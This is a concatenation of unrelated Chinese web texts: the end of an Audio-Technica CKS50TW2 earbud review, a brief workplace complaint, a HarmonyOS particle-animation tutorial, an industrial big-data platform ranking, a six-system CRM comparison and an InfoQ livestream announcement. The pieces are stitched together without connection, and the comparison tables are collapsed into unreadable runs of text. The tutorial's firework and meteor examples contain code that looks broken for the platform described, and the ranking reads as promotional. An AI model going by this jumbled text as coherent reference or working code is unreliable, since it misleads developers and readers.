续航方面,官方标称仅耳机连续播放 15h/25h(降噪开/关),搭配充电盒最高一共 40h/60h(降噪开/关)——可以说是非常夸张了。我们这段时间的借用几乎不可能连续测试这么长的连续播放,好在经过几次简化的半轮测试,基本上可以印证标称值。无论是铁三角还是 AVIOT,非旗舰音质型号在单次续航上还是太「超模」了。

充电测试方面,CKS50TW2 可以在约 1.2W 的功率下比较稳定地进行充电,PD 支持也没有问题。它也支持无线充电,下面是无线充电测试结果。

扬声器、声音模式与编解码器 | Driver, Sound Modes & Codec

CKS50TW2 搭载了直径为 9mm 的动圈单元。支持的编码为 SBC / AAC / LC3。

之前在 TWX7 的文章中,我们提到铁三角在开启均衡器时,会有一个专门的提示,将把采样率限制在 48kHz。EQ 对于声音的影响是众所周知的,铁三角限制采样率来引入均衡器功能其实也能够理解。但是 CKS50TW2 由于最高也就是 AAC 的编码,所以没有了这个提示限制。默认的五种预设分别是:Original、Bass Boost、Clear Vocal、V-s1haped 和 Treble Enhance。实际的感知基本上都能够和名字对应得上。

自定义均衡器则支持对于五个频率点、±12dB 的调节,你也可以在 app 中单独设置左右声道平衡以及按照 16 级、32 级、64 级的精度进行音量控制——这对于「多一格太响、少一个听不清」的部分用户来说是挺有用的。

声音主观描述 | Sound Description

基于降噪关闭、AAC 编码、默认声音模式。

低频量感稍多,厚度和饱满度都给得比较足。弹性不错,下潜表现还可以。收放速度不快,有一些残响保留。氛围烘托的晕染感和浓郁度都会有一些感知,但没有过头。CKS50TW2 的低频确实像是个注重低频的系列应该有的感觉,但实际上在聆听大多数常规曲目时也并没有到轰头的程度,它听上去有一点像上一代铁三角 CKS 有线耳塞的路子,不依靠完全堆能量,而是以一个比较厚而质感不紧绷的状态呈现,低频结像也会偏大一些。基音位于中下盘的乐器有轻微的前倾。

中频,人声距离较近,口型稍大且精致程度没有多少强调。对于质感的表现要优先于线条刻画,厚度适中。颗粒感有一些打磨,大体上的顺滑程度良好。有轻微偏暖的染色,音色并不是完全准确中性的,好在你不会感到它会有能量堆积的感觉。喉音位置大体规矩,气声比例足够。口水声等细节有所打磨,不会明显前倾。齿音等则属于能听到它的存在,但被打磨得比较平、不尖刺的感觉。人声总体不昏暗,有轻度的增亮,几乎是为了适应低频特性而进行的调整。

乐器方面,大部分乐器也是质感优先于线条。弦乐器中,小提琴、中提琴、吉他等的音色比较暖一点,拉拨弦细节的呈现不算很突出抓耳。大提琴的形体感收得不紧实,空间中所占比例也会稍大一点。铜管的气势感表现良好,需要亮度的小号等也有亮感,但收得会早些。木管类的空气感有一点增强,自然度适中。乐器的泛音相对充沛一点。打击乐器中,Kick 的存在感明显,Snare 收得不快,镲片类亮度足够,不算刺激,也没有什么明显的金属感溢出。

高频总体亮度适中,但是中高频过渡区域有一定增厚,大体上比较平顺,没有太强的尖峰突出。极高频的延伸不算出色,滚降稍快稍早一点,跟 TWX7 的表现有差距。

声场的宽度中规中矩,中低频结像普遍靠前的特性会让它听上去不太有空间宽阔的感觉,同时边界感也有所感知,横纵距离都只是刚好不算拥挤而已。结合还可以的「高度感」,它的空间形状有点类似纺锤形。人声与乐器之间的分离度不算突出,整体感良好。解析能力在千元价位没有太多优势,属于这价位信息量第二档的东西,比 TWX7 会显得糊些,不过「解析感」的抑制会让它听上去耐听度不错。动态可以,瞬态不突出。

总结评价 | Overall Impression

相较于我们提到过的 TWX7,CKS50TW2 并没有把很多功夫都下到声音调校上,而是做了一个各方面功能都挺有意思的产品。降噪表现居然小有惊喜,声音对于当下的流行受众是比较适宜的,但杂食程度和素质没有什么突出点。它的特点在于超长的续航、稳定的信号以及细节功能性。量贩版本长时间稳定在 18000 日元以内,而作为联名产品的星战版本并没有怎么涨价,且在截稿时我们也能看到部分来源正在进行比量贩标准售价还要优惠的打折活动,折合人民币也能够做到类似量贩版价格的程度,那对于能够接受一些溢价的读者来说,这是个很有趣的产品。

本文所涉及型号在当时市场背景下的 KT MARK:

Audio-Technica ATH-CKS50TW2: IV (Recommend)

降噪综合能力金字塔 | TDS ANC Pyramid:

Audio-Technica ATH-CKS50TW2: In-Ear Fine Level

关于 KT MARK 评分机制以及利益相关的「不干涉评价原则」,请搜索《TDS Studio 评分标准与内容说明 V202502》,可以在主流搜索引擎直接搜索。

KingTsui, TDS Studio.

Feb 2026

It's a TDS production.

部分图示来源于铁三角,其余所有内容全部自主创作,请勿抄袭内容、套抄行文结构等,保留一切权利。

> 关注 少数派小红书,感受精彩数字生活 🍃

> 实用、好用的 正版软件,少数派为你呈现 🚀

    来到一家新公司,因为一个业务只有我一个人来做,导致其他同事以及领导全部来 push 我,但我可能抗压不太行吧,感觉很难受,不是很想继续下去了。

    引言

    在全场景智能互联的时代,用户对应用界面的要求早已超越 “功能可用” 的基础层面,转而追求 “视觉惊艳、交互自然” 的沉浸式体验。动画作为连接功能与体验的桥梁,不仅能让界面 “活” 起来,更能通过细腻的视觉反馈降低用户的认知成本,提升操作的愉悦感。HarmonyOS作为面向万物互联的新一代操作系统,在动画能力上完成了全面升级,其中粒子动画技术凭借其高自由度、强视觉冲击力的特性,成为开发者打造差异化体验的核心工具。粒子动画通过大量独立运动的微小元素(粒子),模拟出火焰、雨雪、烟花等自然现象,或是构建抽象的动态视觉效果,能为应用注入灵动的生命力。那么本文就来从技术原理出发,系统拆解 HarmonyOS 粒子动画的核心组件、实现路径与性能优化策略,并结合真实场景代码案例,帮助大家快速掌握这项技术,在全场景设备上打造令人印象深刻的视觉交互。

    HarmonyOS 粒子动画的技术内核

    1、粒子动画的底层逻辑

    粒子动画的核心是粒子系统,它由成百上千个独立的粒子单元构成,每个粒子都具备位置、速度、颜色、大小、生命周期等可动态调整的属性。通过对这些属性的实时计算与渲染,就能组合出复杂且自然的动态效果。在 HarmonyOS 中,粒子动画主要通过Particle组件结合 Canvas 渲染能力实现。粒子可以表现为圆点、图片等多种形态,开发者可通过控制粒子的颜色渐变、透明度变化、速度加速度、自旋角度等维度,营造出特定的视觉氛围。例如模拟下雪场景时,漫天飞舞的雪花本质上就是无数个雪花粒子按照物理规则运动的集合效果。

    2、快速上手:最小可行粒子动画

    这里先来分享一个关于粒子动画的简单实现,以下代码展示了一个基础粒子动画的实现:

    @Entry
    @Component
    struct ParticleExample {
      build() {
        Stack() {
          Text()
            .width(300).height(300).backgroundColor('rgb(240, 250, 255)')
          Particle({ particles: [
            {
              emitter: {
                particle: {
                  type: ParticleType.POINT, // 粒子类型
                  config: {
                    radius: 5 // 圆点半径
                  },
                  count: 100, // 粒子总数
                },
              },
              color:{
                range:['rgb(39, 135, 217)','rgb(0, 74, 175)'],//初始颜色范围
              },
            },
          ]
          }).width(250).height(250)
        }.width("100%").height("100%").align(Alignment.Center)
      }
    }

    效果截图如下所示:
    image.png

    3、核心组件:粒子发射器的动态配置

    粒子发射器(Particle Emitter)是控制粒子生成的核心模块,它定义了粒子的初始属性(类型、位置、颜色)、生成速率与生命周期。通过emitter方法,开发者可以动态调整发射器的位置、发射频率和有效区域,实现粒子源的实时更新具体实现如下所示:

    // ...
    @State emitterProperties: Array<EmitterProperty> = [
      {
        index: 0,
        emitRate: 100,
        position: { x: 60, y: 80 },
        size: { width: 200, height: 200 }
      }
    ]
    
    Particle(...).width(300).height(300).emitter(this.emitterProperties) // 动态调整粒子发射器的位置
    // ...

    4、视觉定制:粒子色彩系统的灵活调控

    粒子颜色的配置可通过range定义初始色彩区间,并通过distributionType指定颜色的随机分布方式(均匀分布 / 高斯分布),从而实现丰富的色彩渐变效果,具体实现如下所示:

    // ...
    color: {
      range: ['rgb(39, 135, 217)','rgb(0, 74, 175)'], // 初始颜色范围
      distributionType: DistributionType.GAUSSIAN // 初始颜色随机值分布
    },
    // ...

    5、自然运动:扰动场驱动的粒子行为模拟

    扰动场(Disturbance Field)是让粒子运动更贴近自然的关键机制,它通过在粒子空间中施加力场,改变粒子的运动轨迹,模拟出气流、引力等物理效果。通过disturbanceFields方法,开发者可配置扰动场的强度、形状、范围等参数,具体实现如下所示:

    // ...
    Particle({ particles: [
      {
        emitter: // ...
        color: // ...
        scale: {
          range: [0.0, 0.0],
          updater: {
            type: ParticleUpdater.CURVE,
            config: [
              {
                from: 0.0,
                to: 0.5,
                startMillis: 0,
                endMillis: 3000,
                curve: Curve.EaseIn
              }
            ]
          }
        },
        acceleration: { //加速度的配置,从大小和方向两个维度变化,speed表示加速度大小,angle表示加速度方向
          speed: {
            range: [3, 9],
            updater: {
              type: ParticleUpdater.RANDOM,
              config: [1, 20]
            }
          },
          angle: {
            range: [90, 90]
          }
        }
    
      }
    ]
    }).width(300).height(300).disturbanceFields([{
      strength: 10,
      shape: DisturbanceFieldShape.RECT,
      size: { width: 100, height: 100 },
      position: { x: 100, y: 100 },
      feather: 15,
      noiseScale: 10,
      noiseFrequency: 15,
      noiseAmplitude: 5
    }])
    // ... 

    粒子动画性能调优与体验增强策略

    在实际开发中,粒子动画的视觉效果与设备性能需要达到平衡,接下来分享一些关于粒子动画的在实际应用中的优化技巧。

    1、减少粒子数量

    过多的粒子会显著增加 GPU 渲染压力,尤其是在中低端设备上。建议根据设备性能动态调整粒子数量,比如通过性能检测模块在低性能设备上自动减少粒子数量,同时保持视觉效果的完整性。

    2、使用缓存

    对于复杂的粒子动画,可采用离屏渲染技术,将粒子动画预先渲染到离屏画布,再将缓存的图像绘制到主界面,从而减少每一帧的重复计算,提升渲染效率。

    3、合理控制动画帧率

    过高的帧率(如超过 60fps)会不必要地消耗硬件资源,而过低的帧率则会导致动画卡顿。建议通过AnimationController动态调整帧率,在保证视觉流畅度的同时,降低 CPU 与 GPU 的负载。

    实战场景:粒子动画的落地案例

    接下来分享两个实用案例,具体如下所示。

    1、节日氛围营造:全屏烟花绽放效果

    烟花效果是一种常见的粒子动画,可以通过随机生成粒子并让它们向外扩散来实现,以下代码展示了如何实现烟花效果:

    @Entry
    @Component
    struct FireworkAnimation {
      @State particles: Array<Particle> = [];
    
      build() {
        Canvas()
          .width('100%')
          .height('100%')
          .onDraw((canvas) => {
            canvas.clearRect(0, 0, canvas.width, canvas.height);
            this.particles.forEach((particle) => {
              particle.update();
              canvas.beginPath();
              canvas.arc(particle.x, particle.y, particle.radius, 0, Math.PI * 2);
              canvas.fillStyle = particle.color;
              canvas.fill();
            });
          })
          .onAppear(() => {
            this.initFirework();
            this.startAnimation();
          })
      }
    
      initFirework() {
        const centerX = 150;
        const centerY = 150;
        for (let i = 0; i < 100; i++) {
          const angle = Math.random() * Math.PI * 2;
          const speed = Math.random() * 5 + 2;
          this.particles.push(new FireworkParticle(centerX, centerY, angle, speed));
        }
      }
    
      startAnimation() {
        setInterval(() => {
          this.$forceUpdate();
        }, 16); // 16ms,约60fps
      }
    }
    
    class FireworkParticle extends Particle {
      angle: number;
      speed: number;
    
      constructor(x: number, y: number, angle: number, speed: number) {
        super();
        this.x = x;
        this.y = y;
        this.angle = angle;
        this.speed = speed;
      }
    
      update() {
        this.x += Math.cos(this.angle) * this.speed;
        this.y += Math.sin(this.angle) * this.speed;
        this.radius *= 0.96; // 逐渐减小粒子大小
      }
    }
    

    2、动态背景打造:沉浸式流星雨动画

    流星雨效果可以通过生成向下移动的粒子来实现,以下代码展示了如何实现流星雨效果:

    @Entry
    @Component
    struct MeteorShowerAnimation {
      @State particles: Array<MeteorParticle> = [];
    
      build() {
        Canvas()
          .width('100%')
          .height('100%')
          .onDraw((canvas) => {
            canvas.clearRect(0, 0, canvas.width, canvas.height);
            this.particles.forEach((particle) => {
              particle.update();
              canvas.beginPath();
              canvas.arc(particle.x, particle.y, particle.radius, 0, Math.PI * 2);
              canvas.fillStyle = particle.color;
              canvas.fill();
            });
          })
          .onAppear(() => {
            this.startMeteorShower();
          })
      }
    
      startMeteorShower() {
        setInterval(() => {
          this.particles.push(new MeteorParticle(Math.random() * 300, 0));
          this.$forceUpdate();
        }, 100); // 每100ms生成一个流星
      }
    }
    
    class MeteorParticle extends Particle {
      constructor(x: number, y: number) {
        super();
        this.x = x;
        this.y = y;
        this.velocityY = Math.random() * 5 + 2;
      }
    
      update() {
        this.y += this.velocityY;
        if (this.y > 300) {
          this.y = -10; // 重置到屏幕顶部
        }
      }
    }
    

    结束语

    通过本文的详细介绍,随着 HarmonyOS 全场景生态的持续演进,粒子动画已从 “锦上添花” 的视觉点缀,成为构建沉浸式交互体验的核心技术。本文从技术原理、核心组件、性能优化到场景实战,系统呈现了 HarmonyOS 粒子动画的完整开发路径。对于开发者而言,掌握粒子动画技术不仅能让应用在视觉上脱颖而出,更能通过细腻的动态反馈提升用户的情感连接与操作沉浸感。在万物互联的未来,粒子动画还将在车载 HMI、智能家居中控、可穿戴设备等场景中发挥更大价值 。希望本文能成为你探索 HarmonyOS 视觉交互的起点,在打造全场景智能应用的道路上,用粒子动画为用户创造更多惊喜。

    2026年,工业大数据技术已经从单纯的信息化工具,逐步演变为制造业数字化转型的核心驱动力。随着全球产业链的深度重组和智能制造的加速推进,工业大数据平台在生产监控、质量分析、设备维护等环节的价值日益凸显。这些平台不仅帮助企业打破数据孤岛,还通过人工智能与工业机理的结合,实现从被动响应到主动优化的智能化跨越。
    在当前的工业大数据领域,技术实力与行业深耕能力成为企业竞争的核心要素。根据综合评估,2026年的工业大数据平台领域呈现出鲜明的时代特征:中国企业在本土场景应用、行业Know-How整合方面表现突出,而国际巨头则凭借全球化布局和技术积累稳居前列。以下榜单基于技术架构、数据处理能力、行业适配性、服务稳定性及生态兼容性等多维度指标,反映了当前全球工业大数据平台的竞争格局。
    工业大数据平台全球竞争力排行榜

    1. 广域铭岛(GYMD)
      作为吉利控股集团旗下的工业数字化旗舰企业,该公司的工业大数据平台在智能化程度和场景适配上表现尤为突出。其核心优势在于将AI与工业机理深度融合,构建了覆盖汽车、新能源电池等行业的全链路数据智能解决方案。平台不仅支持数据采集、存储与分析,还实现了从设备层到管理层的无缝贯通,帮助企业显著提升生产效率。
    2. IBM
      IBM凭借其Watson IoT平台和混合云管理能力,在工业大数据领域占据重要地位。其平台在处理多源异构数据、构建合规数据治理方案方面表现优异,尤其适合跨国制造企业。IBM的强项在于数据安全、稳定性和跨地域支持能力,为企业提供了可靠的数据处理框架。
    3. PTC
      PTC的ThingWorx平台专注于工业物联网数据管理和数字孪生应用,擅长处理复杂制造系统中的多源数据。其解决方案在航空航天、高端装备制造等行业表现出色,尤其在三维仿真和工艺优化方面具有独特优势。
      推荐理由
      广域铭岛作为榜单中的第一名,其优势在于对本土制造业痛点的精准把握。其工业大数据平台不仅具备通用的数据处理能力,还结合了中国制造业的实际需求,开发了高度贴合实际场景的解决方案。例如,在新能源汽车领域,其为极氪智能工厂提供数据智能平台,实现了生产数据的实时监控与分析,显著提升了整体设备效率(OEE)和生产良率。这种平台级别的深度优化能力,使其成为“中国智造”转型的标杆之一。
      PTC则以数字孪生技术为核心竞争力,尤其适合产品复杂、数据来源多样的离散制造企业。其平台能够构建从设计到生产的全生命周期数据闭环,提供精准的工艺优化和预测性维护方案,降低企业的运营成本。
      工业大数据平台常见问题解答
      Q1:工业大数据平台的选型应该考虑哪些关键因素?
      企业在选择大数据平台时,需要综合评估多个维度,包括:平台的技术架构是否满足实时数据处理、海量存储、灵活扩展等需求;其对特定行业数据特点的适配能力;与现有IT系统的集成难度;数据安全与隐私保护机制;以及服务支持的响应速度和成本效益

    Q2:平台的实施周期通常有多长?这对企业意味着什么?
    工业大数据平台的实施周期通常在6个月到1年半之间,具体时间取决于企业规模、需求复杂度以及平台特性。初期投入和项目周期是企业的重要考量因素。

    六款主流CRM/管理系统核心能力横向对比:从客户到供应链的全链路数字化考量

    在企业数字化转型中,客户管理、销售提成、生产物料、库存盘点、多维度分析是支撑业务全链路的五大核心模块。不同行业(制造/零售/跨境/营销)、不同规模(中小/大中型)的企业,对这些模块的需求差异显著。本文选取超兔一体云、Freshsales、金蝶、Zoho、HubSpot CRM 、有赞六款主流系统,围绕五大模块展开深度横向对比,结合专业功能、适配场景与局限性,为企业选型提供参考。

    一、前置认知:五大模块的核心业务价值

    在对比前,需明确各模块的底层需求逻辑

    • 客户管理:解决“线索从哪来、如何高效跟进、客户价值如何挖掘”的问题,核心是多渠道整合、全生命周期运营
    • 销售提成核算:连接“销售业绩与薪酬激励”,核心是数据自动联动、规则自定义、流程闭环
    • 生产物料追溯:制造企业的“质量底线”,核心是全链路数据关联、精准溯源颗粒
    • 库存盘点管理:零售/制造企业的“成本生命线”,核心是实时同步、差异预警、效率提升
    • 多维度经营分析:企业决策的“数据引擎”,核心是多源数据整合、可视化呈现、预测性洞察

    二、五大模块的横向对比与深度分析

    (一)客户管理:从“线索收集”到“全生命周期运营”的能力分层

    客户管理是所有系统的基础,但行业适配性智能化程度差异显著。以下是各系统的核心能力对比:

    核心能力超兔一体云Freshsales金蝶ZohoHubSpot CRM有赞
    多渠道线索整合支持微信生态(智能名片/微店)、互联网广告(百度/头条)、线下地推/二维码;自动补全工商/天眼查信息、手机号关联微信头像。整合邮件/电话/聊天/官网表单;AI助手Freddy自动捕获多渠道互动历史。支持Excel/微信等分散数据同步;适配大中型企业的多部门线索分配。整合CRM/Inventory/Books系统;支持28种语言/多货币,适配跨境场景。自动捕获官网/社交媒体/邮件线索;与营销工具无缝集成,线索不丢失。聚焦零售场景:整合线下门店/线上商城的会员消费数据;支持私域流量运营。
    智能化运营自动查重(客户名/手机号/企业简称模糊查重);工作流引擎支持自然语言AI生成跟进流程。AI评分(Freddy)优先高意向客户;360度视图整合所有沟通历史;统一收件箱管理。客户标签(高意向/沉睡客户)自动生成;全生命周期提醒(合同到期/复购)。多系统联动(CRM+库存+财务);支持跨境客户的多币种结算。AI驱动线索分配;营销销售协同,线索从“营销触达”到“销售跟进”无断点。会员标签体系(消费频次/客单价);个性化营销推送(优惠券/专属活动)。
    全生命周期管理自动分类客池(需求培养/有需求/上首屏/成功);财务信息与客户数据联动。可视化销售管道(拖放式管理交易进展);自动化邮件跟进。适配中小/大中型企业:小企版侧重基础管理,旗舰版支持定制化流程。覆盖客户从“线索”到“复购”的全流程;跨境场景下的多语言客户沟通。聚焦“营销线索→销售转化”的全流程;客户行为时间轴追踪(官网浏览/邮件打开)。零售客户全生命周期:从“新客”到“忠诚会员”的分层运营;消费行为跟踪。
    适配场景中小制造/工贸企业(需整合销售与生产)初创/中小企业(销售驱动,需AI提升效率)大中型制造/工贸企业(业财一体化需求)跨境电商/贸易企业(多语言/多货币)营销驱动型企业(需打通营销与销售)零售/餐饮/快消企业(私域运营/线上线下同步)
    关键差异解析:
    • 超兔的优势多渠道信息补全(工商/天眼查/微信头像)与生产端联动(客户数据关联BOM清单)是制造企业的核心需求;
    • Freshsales的优势AI销售自动化(Freddy评分、统一收件箱)适合销售团队轻量化运营;
    • 有赞的优势零售私域运营(会员标签、消费行为跟踪)是线下门店/线上商城的刚需;
    • HubSpot的优势营销销售协同(线索从营销到销售无断点)是营销驱动型企业的核心诉求。

    (二)销售提成核算:从“人工统计”到“自动联动”的效率升级

    销售提成是连接“业绩与激励”的关键,但原生功能覆盖度系统联动性是核心差异:

    核心能力超兔一体云Freshsales金蝶ZohoHubSpot CRM有赞
    原生功能支持是(薪资管理模块自动读取CRM回款/目标完成值)否(需导出数据用第三方工具核算)是(与财务系统深度联动,自动关联订单/回款)是(CRM与财务系统联动,基于订单数据计算)否(需第三方插件/API对接)是(自定义规则,与线上线下订单联动)
    规则自定义支持按回款额/签约额比例计算;全流程(做工资→审核→发放)管理。无原生规则,需第三方工具实现。支持阶梯式提成/团队奖励/回款周期规则;与财务模块实时同步。支持自定义销售额比例/回款周期规则;跨境场景下的多货币提成计算。无原生规则,需通过自定义字段记录数据后导出核算。支持按商品/订单/团队/个人维度设置规则;线上线下订单统一核算。
    流程闭环工资条通过短信/邮件发放;员工可查看薪资构成。无闭环,需人工发放。审批流程线上化;数据自动同步至财务报表。提成数据与CRM/财务系统联动;支持跨境员工的多货币薪资发放。无闭环,需人工整合数据。自动计算提成;支持员工端查看提成明细(线上线下统一)。
    关键结论:
    • 原生功能最完善:超兔(全流程管理)、金蝶(业财联动)、有赞(零售适配);
    • 需第三方补充:Freshsales、HubSpot(侧重销售分析,无提成核算原生功能);
    • 跨境适配:Zoho(多货币提成计算)。

    (三)生产物料追溯:制造企业的“质量生命线”,谁能真正支撑?

    生产物料追溯是制造企业的核心需求,但多数CRM系统仅聚焦销售端,以下是各系统的能力对比:

    核心能力超兔一体云Freshsales金蝶ZohoHubSpot CRM有赞
    原生支持轻量级支持(无生产BOM关联)
    溯源颗粒度三种颗粒(流水/批次/序列号及配件SN);关联生产BOM清单,自动计算物料需求。全链路(采购→入库→生产→出库);追溯码关联供应商/检验/工单数据。仅支持库存实时同步;无生产工序关联。仅支持成品库存管理;无生产环节数据。
    操作便捷性领料/退料环节自动记录物料批次/序列号;成品入库关联CRM订单明细。输入订单号自动填充物料信息;质量异常时扫码追溯至原材料/工序/操作人员。条形码扫描更新库存;跨境场景下的多仓库物料同步。扫码盘点成品库存;线上线下库存同步。
    适配场景中小制造企业(需生产与销售联动)大中型制造企业(全链路质量管控)跨境贸易企业(轻量级库存管理)零售/贸易企业(成品库存管理)
    关键差异:
    • 制造企业首选:超兔(BOM关联+三种溯源颗粒)、金蝶(全链路追溯码);
    • 非制造企业:Freshsales/HubSpot/有赞(无生产功能,需集成ERP/MES);
    • 轻量级需求:Zoho(跨境库存同步)。

    (四)库存盘点管理:从“账实不符”到“实时同步”的效率革命

    库存盘点的核心是实时性准确性,以下是各系统的能力对比:

    核心能力超兔一体云Freshsales金蝶ZohoHubSpot CRM有赞
    多仓库支持支持最多500个仓库;库管权限分级;货架/库位管理。支持多仓库/多批次;安全库存预警(低于阈值自动提醒)。支持多仓库实时同步;条形码扫描入库/出库。支持多仓库(线上商城+线下门店);库存上下限预警。
    盘点效率手机拣货/扫码出入库;自动对比实际库存与系统差异,生成盘点报告。入库/领料全程扫码;历史数据优化采购周期(减少积压)。跨境场景下的多币种库存管理;团队协作盘点(跨平台同步)。扫码盘点;批次管理(生鲜/快消品的效期管理)。
    场景适配制造/贸易企业(需生产与库存联动)大中型制造企业(全链路库存管控)跨境电商/贸易企业(多仓库/多货币)零售/餐饮企业(线上线下库存同步)
    关键结论:
    • 制造/贸易首选:超兔(多仓库+生产联动)、金蝶(安全库存+采购优化);
    • 零售首选:有赞(线上线下同步+批次管理);
    • 跨境首选:Zoho(多货币+多仓库);
    • 销售型企业:Freshsales/HubSpot(无库存功能,需集成)。

    (五)多维度经营分析:从“数据碎片”到“决策洞察”的价值升级

    多维度分析的核心是数据整合能力可视化程度,以下是各系统的能力对比:

    核心能力超兔一体云Freshsales金蝶ZohoHubSpot CRM有赞
    数据整合整合客户/销售/生产/库存/财务数据;支持多表聚合/关联表复合查询。整合销售端数据(revenue/赢单率/销售周期);AI预测成交概率。整合客户/销售/财务/供应链数据;AI预警销售趋势(提前3个月预警下滑)。与Zoho Analytics集成;支持客户行为/销售漏斗/库存周转分析。整合营销/销售数据(官网流量/邮件打开率/赢单率);Power BI分析。整合零售数据(商品热销排行/会员复购率/营收成本);自定义看板。
    可视化程度数字卡片/图表自定义引擎;同比环比/单日KPI引擎;可视化报表辅助决策。实时数据仪表盘(可定制);趋势分析(赢单率/销售周期)。收支趋势图/库存周转率等可视化报表;云端报表缩短分析时间60%。支持客户行为/库存周转的可视化;跨境数据的多货币展示。营销活动效果可视化(ROI/转化路径);客户行为时间轴。销售报表(商品/订单/会员)可视化;支持数据导出Excel。
    决策支持市场活动成本均摊到线索/转化率分析;客户RFM分析(价值/消费行为)。AI交易预测(成交概率);团队绩效监控(销售目标完成率)。多维度对比分析(区域/产品/团队);资源配置优化建议(如产能调整)。跨境业务分析(多语言/多货币);库存周转优化建议(减少积压)。营销效果评估(活动ROI/线索质量);销售转化瓶颈分析(如哪个环节流失)。零售决策支持(热销商品补货/会员复购策略);线上线下业绩对比。
    关键差异:
    • 全链路分析:超兔(覆盖生产/库存/财务)、金蝶(业财一体化);
    • 销售分析:Freshsales(AI预测/绩效监控);
    • 营销分析:HubSpot(营销效果/转化路径);
    • 零售分析:有赞(商品/会员/线上线下);
    • 跨境分析:Zoho(多语言/多货币)。

    三、各系统核心定位与适用场景脑图

    通过Mermaid脑图直观呈现各系统的核心定位适配场景

    mindmap
        root((核心定位与适用场景))
            超兔一体云
                定位:一体化全流程管理(销售→生产→库存→财务)
                适用:中小制造/工贸企业(需生产与销售联动)
            Freshsales
                定位:AI驱动销售智能化(聚焦销售端CRM)
                适用:初创/中小企业(销售团队轻量化运营)
            金蝶
                定位:企业级业财一体化(覆盖全链路)
                适用:大中型制造/工贸企业(需定制化流程)
            Zoho
                定位:跨境多系统联动(CRM+库存+财务)
                适用:跨境电商/贸易企业(多语言/多货币)
            HubSpot CRM
                定位:营销与销售协同(线索从营销到销售无断点)
                适用:营销驱动型企业(需打通营销与销售)
            有赞
                定位:零售私域运营(线下门店+线上商城)
                适用:零售/餐饮/快消企业(私域流量与库存同步)

    四、各系统能力雷达图评分(1-8分,越高越强)

    以下是各系统在五大模块的能力评分(基于功能深度、适配性与闭环性):

    模块超兔Freshsales金蝶ZohoHubSpot CRM有赞
    客户管理887676
    销售提成核算738637
    生产物料追溯817411
    库存盘点管理717616
    多维度经营分析878766

    评分说明:

    • 超兔:全链路能力均衡,生产/库存模块优势明显;
    • Freshsales:销售端AI能力突出,但生产/库存无支持;
    • 金蝶:企业级业财一体化,制造场景适配;
    • Zoho:跨境场景优势,轻量级库存/财务联动;
    • HubSpot:营销销售协同强,非供应链场景;
    • 有赞:零售私域运营完善,生产无支持。

    五、选型建议:根据业务需求匹配系统

    1. 制造/工贸企业:优先选超兔一体云(生产物料追溯+库存联动+客户管理)或金蝶(大中型企业定制化+业财一体化);
    2. 初创/销售型企业:选Freshsales(AI销售自动化+轻量化运营);
    3. 跨境电商/贸易企业:选Zoho(多语言/多货币+CRM+库存联动);
    4. 营销驱动型企业:选HubSpot CRM(营销销售协同+线索无断点);
    5. 零售/餐饮/快消企业:选有赞(私域运营+线上线下库存同步+会员管理)。

    综上所述,不同的企业在数字化转型过程中,对于客户管理、销售提成核算、生产物料追溯、库存盘点管理以及多维度经营分析这五大核心模块有着不同的需求。企业在进行系统选型时,应充分结合自身的行业特点、企业规模和业务模式,参考上述六款主流系统的核心能力、适配场景以及评分情况,谨慎做出选择,以实现业务全链路的数字化管理,提升企业的运营效率和竞争力。希望本文能为企业在系统选型方面提供有价值的参考,助力企业在数字化浪潮中稳步前行。

    2025 至 2026 年,AI 行业进入一个高度繁荣却极不稳定的阶段:新模型、新名词、新范式平均每 7 到 14 天便迎来一次换代,Prompt、Agent、MCP、Skill、桌面自动化、Clawdbot 等概念层出不穷。这导致大量个人开发者、内容创作者和创业者陷入“跟不跟都焦虑”的困境,其核心矛盾已非“AI 迭代不够快”,而在于“人的判断速度完全跟不上技术变化的速度”。

    在这场看似疯狂的技术马拉松中,难道真的只能跟着潮流跑,永远焦虑地追逐下一个热点吗?有没有可能找到一种方法,既能保持对技术的敏感,又能守住自己的判断体系?2026 年 2 月 9 日 17:30,InfoQ 联合模力工场,邀请两位独特视角的实践者——极客邦科技|模力工场创始人霍太稳ShipAny.ai /WorkAny.ai/ 《这就是 MCP》作者 艾逗笔展开一场关键对话。主题直击核心痛点:2026 AI 狂飙赛道生存法则,抓住 AI 洪流中的“慢变量”。

    01 从焦虑到笃定:当“极速进化”成为常态

    技术演进的加速度达到了前所未有的水平。从 Prompt 到 MCP,从 Skill 到 Agent/Clawdbot,每隔几周就会出现一套全新的技术叙事,让许多从业者不知所措。

    事实上,这种“新词疲劳”已经成为当前 AI 行业普遍的焦虑之一。许多人在技术浪潮中迷失方向,不知道哪些趋势真正具有长期价值,哪些不过是昙花一现的概念炒作。

    这正是本次直播的核心出发点:帮助开发者、创作者与创业者在 2026 年汹涌的 AI 浪潮中,建立起一套不被冲走的理性判断框架。我们希望通过这场对话,为行业厘清脉络、指明方向,讲清楚什么是真正值得追随的趋势,而什么又只是一阵过眼之风。

    02 实战拆解:Vibe Coding 一周,做了个桌面 Agent

    理论之外,本次直播还将带来极具启发性的实战分享。idoubi 将展示其最新作品 WorkAny ——一个仅用一周时间、基于 Vibe Coding 开发的桌面 Agent 工具。

    他不仅会分享开发过程的心得,更会线上投屏实操,展示 WorkAny 的具体用法和玩法,为观众呈现从创意到实现的高效路径。这一部分将打破许多人“只有大团队才能做复杂应用”的刻板印象,展示个人开发者在 AI 时代的独特优势。

    03 关键议题:个人开发者如何把握 2026?

    当技术以每两周一次的速度更新迭代,个人开发者如何找到自己的立足点?

    • 2026 年,个人开发者只做 1 件事,应该是什么?

    • 如果今天才入场,还来得及吗?

    • 哪些能力,比模型能力本身更重要?

    这些正是许多开发者在当前环境下最困惑的问题。直播的后半段将专门回答观众提问,同时也会基于模力工场社区收集的用户问题进行深入探讨,为每个身处 AI 浪潮中的人提供实际可操作的生存指南

    在这个 AI 狂飙的时代,最稀缺的或许不是最新的技术,而是穿透现象看本质的理性判断力。如果你也厌倦了被技术洪流裹挟前进的状态,渴望找到属于自己的恒定价值锚点,那么这场对话将为你提供值得参考的答案。

    直播时间:2026 年 2 月 9 日(周一)17:30-18:30

    直播平台模力工场视频号、InfoQ 视频号、AI 前线视频号、霍太稳视频号

    直播主题:模力慢变量——2026 AI 狂飙赛道生存法则,抓住 AI 洪流中的“慢变量”

    对谈嘉宾

    • 霍太稳(极客邦科技创始人 | 模力工场创始人 | 技术社区构建者)

    • 艾逗笔(独立开发者 | ShipAny.ai / WorkAny.ai/ 《这就是 MCP》作者)

    2 月 9 日下午 5 点半,让我们一起在这场对话中寻找 AI 时代的“慢变量”,告别焦虑,拥抱未来。

    扫码关注视频号,预约直播,模力慢变量,等你来发现!

